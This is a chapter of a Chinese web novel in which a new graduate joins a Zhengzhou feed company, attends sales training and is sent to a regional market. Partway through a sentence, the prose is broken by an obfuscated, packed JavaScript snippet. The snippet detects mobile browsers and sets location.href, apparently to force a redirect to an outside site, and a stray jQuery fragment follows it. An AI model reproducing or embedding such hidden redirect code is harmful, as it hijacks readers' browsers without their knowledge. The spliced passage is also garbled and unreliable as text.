时光匆匆，如白驹过隙，转眼间东方慧迎来了大学毕业的时刻。在学校举办的招聘会上，他站在众多招聘展位前，眼神坚定而又带着几分思索。经过一番深思熟虑，他将目光锁定在了一家位于郑州的饲料公司。之所以对郑州这座城市情有独钟，是因为它作为河南省会，不仅是华夏文明的重要发祥地、国家历史文化名城，更是中国八大古都之一。郑州地处中国中部地区，占据着极为重要的中心城市地位，这里文化底蕴深厚，地理位置优越，交通网络更是四通八达，未来发展潜力巨大。而且，郑州离家也近，能让他在为事业拼搏的同时，更方便地照顾家人。


    他入职的这家饲料公司名为郑州老百姓饲料有限责任公司，成立于 1998 年 8 月。公司规模虽不算大，却拥有 100 多名员工。公司配备了国际流行的（UMT）牧羊整套设备，由精准的电脑程序和专业人才双重把控，设备的年产饲料能力可达 10 万吨左右，是一家颇具潜力的私人中小型企业。东方慧怀揣着对未来的憧憬，踏入了这家公司，准备开启人生新的篇章，在这个全新的舞台上，挥洒自己的汗水，追逐自己的梦想。


    东方慧背着沉甸甸的行李，与同窗数载的同学一一告别，转身离开了那充满青春回忆的大学校园。微风轻拂，仿佛在为他送行，树叶沙沙作响，似在诉说着往昔的故事。此刻，他怀揣着对未来的无限憧憬，踏上了前往老百姓饲料公司的征程。一路上，一想到即将步入社会，能够凭借自己的努力挣钱，开启全新的人生篇章，他的内心就抑制不住地激动，仿佛有一团熊熊燃烧的火焰在胸膛中跳跃。


    当他抵达公司时，已是黄昏时分，天边被夕阳染成了橙红色，余晖洒在大地上，给整个世界都蒙上了一层梦幻的色彩。公司人力资源部的工作人员满脸热情地接待了他，引领他办理了入职手续后，便临时安排他住进了公司宿舍。刚踏入宿舍，他便惊喜地发现了大学同学王文武的身影。王文武皮肤略黑，身材胖胖的，中等个头，说起话来幽默风趣，总是能给周围的人带来欢声笑语。


    东方慧兴奋地大声叫道：“小武，你来得挺早啊！咱们那几个同学都来了吗？” 小武脸上露出神秘的笑容，调皮地说道：“你猜呢？”


    “我猜来了。” 东方慧笑着回应，眼中满是期待，仿佛已经看到同学们熟悉的笑脸。


    “不对哦。” 小武乐呵呵地摇了摇头，那模样就像一个藏着宝藏秘密的孩子，故意逗弄着东方慧。


    “没有来吗？” 东方慧不禁心生疑惑，微微皱起了眉头，心中的好奇愈发浓烈。


    小武依旧摇头，笑着说：“也不对哟。”


    “哎呀，你就别吊我胃口了，到底来了还是没来啊？” 东方慧急切地追问，眼中的好奇像被点燃的火苗，越烧越旺。


    小武这才笑着揭晓答案：“只能说该来的都来了，我们六个人就来了我们三个。”


    “来的那位是谁呀？” 东方慧紧接着问道，迫不及待地想知道答案。


    “你老乡小叶子。” 小武笑着回答，眼中闪过一丝狡黠，似乎对自己制造的悬念效果十分满意。


    临时宿舍里只有他们两人，多年的同窗情谊让他们有说不完的话。两人从校园生活的点点滴滴，聊到对未来工作的憧憬与担忧，一直畅谈到深夜，才在疲惫与兴奋交织的情绪中渐渐睡去。


    第二天，人事部门传达了新业务员将进行一周培训的通知。东方慧和小武初来乍到，对这次培训格外重视，一大早就带着笔和笔记本，满怀期待地来到了培训室。这是他们第一次进入公司的培训室，只见房间宽敞明亮，摆放着 6 排座椅，大约可以容纳五六十人。室内装修简洁大方，白色的吊顶搭配白色的墙壁，给人一种清新、整洁的感觉。培训室正前方的墙壁中间，挂着一个大大的看板，看板前方摆放着一张讲桌，整个空间充满了浓厚的学习氛围。


    第一天进行的是入职强化培训，由人事部的刘姐主讲。培训采用讲座式的方式，时长为 2 小时。刘姐站在讲台上，身姿挺拔，眼神坚定，详细地介绍了企业的方方面面。她从公司成立的时间讲起，讲述了公司波澜壮阔的发展历程，那些奋斗的岁月、突破的时刻，如同一幅幅画卷在新员工们眼前展开；接着，她又阐述了独特的企业文化及宏伟的愿景，让大家感受到公司的灵魂与追求；从公司的组织架构、人力资源管理体系，到令人瞩目的经营业绩，每一个数据、每一项成就，都彰显着公司的实力；从公司广泛的业务范围，到主导产品的特色与优势，让新员工们对公司的业务有了清晰的认识。此外，她还着重讲解了各项制度，包括人事行政规章制度，如作息时间、请销假程序、薪资福利、入离职管理等；财务制度，如报销流程、借还款管理、出差费用申报与要求，以及工资管理等。同时，也明确了员工应尽的义务和责任，让新员工们对公司有了全面而深入地了解。


    第二天，是行业与产品知识培训，由市场部的陈总亲自授课。同样采用讲座式的培训方式，时长也是 2 小时。陈总身着整洁的西装，气质沉稳，先是对产品进行了全面的综述，讲述了产品的发展历史与广泛应用，仿佛带领大家穿越时空，见证了产品的演变与成长。接着，他深入分析了公司产品在该行业的现状，包括产品技术的先进性、强大的竞争力以及较高的产品覆盖率等，让新业务员们对公司产品充满了信心。随后，他详细介绍了产品知识，分享了公司的主要供货业绩，并对公司的主要竞争对手情况进行了深入剖析，让新业务员们对所在行业和公司产品有了清晰的认识。


    第三天，迎来了销售专项培训，这次公司外请了一位培训师。据说这位培训师是一位颇有成就的成功人士，姓李。所有的业务员都对这场培训充满了期待，早早地来到培训室，静静地等待着李老师的到来。就在大家翘首以盼之际，一位 40 多岁的中年人迈着沉稳的步伐走进了培训室。他身着笔挺的西装，头发整齐地向后梳着，眼神中透露出一种久经商场的睿智与自信。听老员工介绍，这位就是老板花重金请来的培训师，想必一定有过人之处，大家的眼神中都透露出一丝好奇与期待。


    李老师走进培训室后，站在讲台上，目光如炬，锐利的眼神扫视了一圈台下的学员，然后用富有磁性的声音说道：“在座的各位，大家早上好！”


    台下立刻响起了热烈的掌声，学员们用掌声表达着对李老师的欢迎与敬意，掌声在培训室里久久回荡。


    “今天很荣幸能给大家讲课，我今天讲的主题是《如何成为行业的特种兵》。在培训之前，我首先问大伙一个问题，鸟为什么会飞？” 李老师微微停顿，目光在学员们脸上一一扫过，似乎在等待着大家的回答。


    大伙一听这个问题，台下顿时一片喧哗。大家都觉得这个问题似乎太过简单，甚至有人怀疑这位李老师是不是在故弄玄虚，一时间议论纷纷。有些老业务员按捺不住心中的疑惑，直接怼了回去：“老师，这不是废话吗？鸟本身就是长着一双翅膀的飞行动物，所以小鸟会飞啊。”


    李老师却显得十分沉稳，脸上露出一丝微笑，不紧不慢地说道：“你说的是客观原因，然而，试问一只鸟如果它自己不想去飞，还能飞起来吗？就如同我们生活中那些不会飞的菜鸡一样。”


    这番话一出口，大伙顿时沉默无语，整个培训室瞬间安静了下来。大家都陷入了沉思，开始意识到这个看似简单的问题背后，似乎蕴含着更深层次的道理，仿佛一扇通往全新思维世界的门正在缓缓打开。


    李老师见大家陷入了思考，便继续慷慨激昂地讲道：“世上所有的事物不会自动满足人的需要，人们只有发挥主观能动性，通过实实在在的行动，才能走向成功，实现梦想。在这个奋斗的过程中，必然会遇到种种困难、挫折，甚至暂时的失败，这就需要我们有坚强的意志和十足的干劲，需要保持充沛的精神状态。成功之路从来没有平坦的大道可走，只有沿着那崎岖的山路，不断攀登的人，才有希望达到光辉的顶点。”


    李老师的话语如同一股强大的力量，深深感染了在场的每一个人。所有人都听得热血沸腾，心中涌起一股强烈的斗志，台下再次响起了热烈的掌声，那掌声如雷鸣般响亮，久久回荡在培训室的每一个角落，仿佛是大家对未来奋斗的坚定誓言。


    东方慧听得格外认真，他的脑海中不禁浮现出在大学课堂上学过的马克思哲学。他暗自揣摩着，这不正是客观决定主观，主观能反映客观，并对客观具有能动作用的体现吗？当主观正确反映客观、并作用于客观时，对客观事物的发展起促进或推动作用；反之，对事物的发展就起阻碍作用。因此，要想推动社会的发展，必须使主观符合客观。想到这里，他对李老师的敬佩之情油然而生，李老师能够将哲学知识活学活用，运用到销售培训中，讲得如此生动形象、富有感染力，实在令人钦佩。于是，他更加专心致志地投入听课中，生怕错过任何一个精彩的瞬间，每一个字都像是一颗宝贵的知识种子，被他小心翼翼地收藏在心中。


    接着，李老师又抛出了一个问题：“如果你们是一只自由的小鸟，你们该怎么去飞？”


    这时，业务精英刘前进自信满满地站了起来，滔滔不绝地回答道：“拿我们跑业务来说，到了市场上，没有任何人时刻盯着我们，就像自由的小鸟一样。对于怎么飞，我个人认为要自觉地、有目的地、有计划地去飞，这样才能在市场上做出更好的成绩。”


    李老师听后，满意地笑了笑，说道：“回答得很好，来，大家为他的精彩回答鼓掌。”


    话音刚落，台下便响起了噼里啪啦的一阵掌声，这掌声既是对刘前进回答的肯定，也是对他积极表现的鼓励，仿佛是为他在销售道路上的坚定前行加油助威。


    “接下来，我再补充几点。” 李老师边说边摆手示意大家安静下来，全场顿时安静得针落可闻，每个人都竖起耳朵，生怕错过任何一个重要的知识点。


    “第一，要做好飞翔前的准备，也就是跑业务前的准备工作。我们必须仪表端庄、整洁，树立良好的形象，要懂得关怀别人，因为不懂得关怀别人就没有人关爱我们。同时，还要收集好客户资料和信息等，带着清晰的思路去做事，打一场有准备的仗。这就好比小鸟在起飞前，要梳理好自己的羽毛，检查好自己的翅膀，确定好飞行的方向，才能在天空中顺利翱翔。”


    “第二，要耐得住寂寞的煎熬。跑业务常常需要一个人独来独往，这就要求我们有强大的内心。要记住，没有干不成的事，只有我们努力还不够。我们要勇敢往前冲，没有退路可言，要想成就多大的事业，就要付出多大的努力。业务员要懂得‘置之死地而后生’的道理，在灰心消沉后，一定要尽快调整好心态，鼓起勇气重新出发。脸皮一定要厚，在我们还没有独立飞翔的能力时，不要过分强调自尊与自我，因为此时它们并不值钱。其实，遇到客户的阻碍才是销售的第一步，我们要把遇到的障碍视为考验，树立自信心，这也是千载难逢的磨炼机会，通过这些磨炼，让自己成为行业的特种战士。就像小鸟在飞行中会遇到狂风暴雨，但只有勇敢地穿越风雨，才能变得更加强大。”


    “第三，沟通交流时要懂得倾听的技巧。我们要培养积极的倾听态度，让客户把话说完，并记下重点，不要随意打断客户的讲话。要成为解决问题的高手，为客户排忧解难，这样才能赢得客户的信任和认可。小鸟在飞行中，也要倾听风声、雨声，了解周围环境的变化，才能更好地调整自己的飞行姿态。”


    “第四，要学会空中加油。知识就像烛光，能照亮一个人前行的道路。我们只有不断加强学习，不断为自己充电，才能飞得更高，走得更远……”


    李老师越讲越激动，声音一浪高过一浪，会场的气氛也被推向了高潮。大伙被李老师的激情所感染，忍不住鼓起了响亮的掌声，那掌声如汹涌澎湃的海浪，一波接着一波，久久没有平静，仿佛是对知识的热烈欢呼，对未来的美好憧憬。


    接下来，李老师又提出了一个问题，他语气加重，严肃地问道：“人到世界上究竟是干什么的？有没有勇敢的精英来回答一下？”


    台下的业务精英们纷纷踊跃抢答，答案五花八门。有的回答为了爱，认为爱是人生的核心与动力，仿佛爱是那照亮黑暗的明灯；有的回答为了家庭和孩子，家庭的温暖和孩子的成长是他们奋斗的目标，家庭就像避风的港湾，孩子是未来的希望；有的回答为了事业，在事业中实现自我价值是他们的追求，事业如同攀登的高峰，每一步都充满挑战与成就；还有的回答是为了活着，简单而质朴的想法却也蕴含着对生命的尊重，活着本身就是一种奇迹。就在大伙以为没人再回答的时候，突然听到一位美女温柔的声音：“老师，我们新业务员可以回答吗？” 她含笑问道，声音如同春日里的微风，轻柔而温暖，仿佛能驱散所有的阴霾。


    这时，所有人的目光都齐刷刷地投向了站起来的女孩身上。此人正是张玉叶，她上身穿着一件粉红色衬衫，下身搭配着一条灰色牛仔裤，身高大约 1.63 米左右。她长着一双水灵灵的大眼睛，乌黑亮丽的头发如瀑布般垂落在肩头，雪白的肌肤吹弹可破，红润的嘴唇仿佛绽放的花朵，整个人长得如花似玉，宛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530156|186366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如从画中走出来的仙子，在众人的目光中，她显得既羞涩又勇敢。


    李老师笑着说：“当然可以，你的勇气可嘉，来，大伙为她的勇敢精神鼓掌。”


    东方慧看见小叶子站起来回答问题，心中暗自高兴，心想总算有人为新业务员争光了。他兴奋地故意把掌声拍得格外响亮，脸上洋溢着自豪的笑容，仿佛在向全世界宣告小叶子是他们新业务员的骄傲。


    小叶子略带羞涩地回答道：“我认为人来到这个世界只是为了在这个世界上创造点东西，让这个世界更加精彩，生活得更加美好。”


    李老师听后，若有所思，回味无穷地说：“你的回答很耐人寻味。”


    他摆手示意小叶子坐下，然后继续讲道：“我们来到这个世界，不管是为了婚姻、家庭也好，事业、爱情也罢，不管是哪种回答，目的都是为了过上更加美好的生活而奋斗，是不是？”


    “是！” 台下异口同声地回答，那声音整齐而洪亮，充满了力量，仿佛是大家对美好生活的共同呐喊。


    李老师露出了满意的微笑，继续讲道：“首先我们要给人生定个目标，现在奋斗目标有了，接下来回归正题，我们如何通过跑业务实现梦想。首先你们要牢记，成功者常改变方法而不改变目标，失败者常改变目标而不改变方法，这就是所谓的不积跬步无以至千里，每天进步一点点，总有一天能实现自己的梦想。真正的工作场景瞬息万变，每个竞争对手的出牌方式不尽相同，一百个客户就需要一百种不同的应对方法，我们要活学活用。跑业务过程中，不要让需要办的事情在自己手里积压，不要让各种差错在自己手中发生。”


    李老师停顿了一下，目光如炬，锐利的双眼扫视着台下的听众，看见大伙都听得全神贯注，便继续讲道：“现实中，老师往往通过自己的经验总结，把自认为是知识点的内容一股脑儿地传授给学员。很多学员在课堂上听得很激动，但是回到工作现场会发现，其中能够运用到的知识很少。所以，接下来的几天我们要进行模拟真实现场培训，力求做到在一种尽可能逼真的环境下实施培训，即‘在战斗中学习战斗’。我们分三组，一组扮演客户，一组扮演业务员，另一组负责观察，三组轮流扮演业务员。”


    “这个方法好，我赞成！” 这时，小武激动得脱口而出。大伙一阵欢笑，纷纷表示同意李老师的培训方式。整个培训室里充满了热烈的讨论声和期待的氛围，大家都对接下来的模拟培训充满了信心和期待，仿佛已经看到了自己在未来的销售战场上大显身手的场景 。


    在接下来的几天里，东方慧全身心地投入模拟实战培训当中，与一众业务精英们并肩作战。每一次的模拟演练，他都像是置身于真实的销售战场，全情投入，不放过任何一个细节。培训中的每一个环节、每一次与 “客户” 的交流互动，都让他对销售工作有了更为深刻地理解和认识。这场模拟实战培训，如同一场及时雨，浇灌着他渴望成长的心田，让他斗志激昂，浑身充满了干劲，仿佛已经做好了迎接一切挑战的准备，他知道，自己正一步步朝着成为行业特种兵的目标迈进，未来的销售之路或许充满荆棘，但他已无所畏惧。


    培训圆满结束，东方慧心中满是收获的喜悦，迫不及待地找到校友小叶子和小武。三人寻了一处安静角落围坐下来，周遭的喧嚣似乎都与他们无关，此刻，他们的世界里只有彼此和培训带来的满满感悟。


    东方慧率先打开话匣子，眼中闪烁着兴奋的光芒：“这次培训可太有用了！就说李老师讲的客户沟通技巧，我感觉能直接用到实际工作里。” 小武用力点头，胖脸上洋溢着笑容：“没错没错，还有模拟演练时，我学会了怎么从客户拒绝里找突破口，太关键了。” 小叶子轻捋耳边发丝，温柔说道：“我觉得对客户需求的深度挖掘那块，特别值得琢磨，以后跟客户交流得更用心才行。”


    三人你一言我一语，分享着培训期间的点滴收获。谈到未来在市场上可能遭遇的难题，东方慧皱起眉头：“要是遇到特别难缠、对咱们产品挑三拣四的客户，该咋办呢？” 小武摩挲着下巴，思索片刻说：“我想先得稳住心态，耐心听客户讲，再针对性地突出咱们产品优势。” 小叶子眼睛一亮：“对，还得站在客户角度，帮他们算算账，看看用咱们产品长期能省多少钱。”


    交流在热烈氛围中持续，不知不觉，暮色悄然笼罩。三人意识到时间不早，互留联系方式。东方慧认真将号码存进手机，郑重说道：“往后咱们常联系，有啥难题、好点子，都互相分享。” 小叶子和小武纷纷应和，约定携手在销售之路上披荆斩棘。


    紧接着，业务经理亲自带领新业务员们奔赴市场，开启为期三天的实地走访学习之旅。第一天，在一家养殖场，业务经理带着大家走到猪圈旁，指着一头头肥硕的猪，向养殖户询问饲料使用情况。养殖户皱着眉抱怨：“现在这饲料，价格涨得厉害，效果好像也没多好。” 业务经理微笑着回应：“您看，咱们这款饲料，虽然单价看着高一点，但营养配比科学，猪吃了长肉快，出栏周期能缩短。您算笔账，长期下来，成本说不定更低呢。” 说着，拿出计算器，详细地为养殖户计算起来。东方慧等人在一旁目不转睛地看着，暗自记下业务经理的沟通技巧。


    第二天，在另一个客户的仓库里，业务经理拿起一袋竞品饲料，和自家产品对比，向客户讲解：“您瞧，咱们饲料的颗粒大小均匀，粉尘少，这不仅能减少浪费，还能让牲畜吃得更干净，消化吸收更好。” 新业务员们围拢过来，仔细观察两款产品的差异，不时提出问题，业务经理都耐心解答。


    第三天，在与一位犹豫不决的客户交谈时，业务经理察觉到客户对售后服务有顾虑，立刻说道：“我们有专业的售后团队，24 小时在线。要是您在使用过程中有任何问题，一个电话，我们马上安排人过来解决。” 客户听后，脸上的疑虑渐渐消散。


    三天转瞬即逝，新业务员们满载而归，对销售有了更直观、更深刻的认识。之后，公司根据市场布局，为新业务员们分配工作区域。东方慧被分到河北邯郸地区市场，小武前往山东菏泽地区市场，小叶子则前往山东聊城市市场。公司领导这样安排，是经过深思熟虑的。他们三人来自同一所学校，彼此熟悉且信任，而所分配的市场又都位于两省交界处，距离相近，便于他们日后相互协作，共同开拓市场。临行前，领导语重心长地叮嘱：“市场如战场，希望你们能发挥所长，互相支持，为公司打开新局面。” 三人郑重点头，怀揣着对未来的憧憬与挑战的勇气，踏上各自的征程，准备在销售领域大展身手。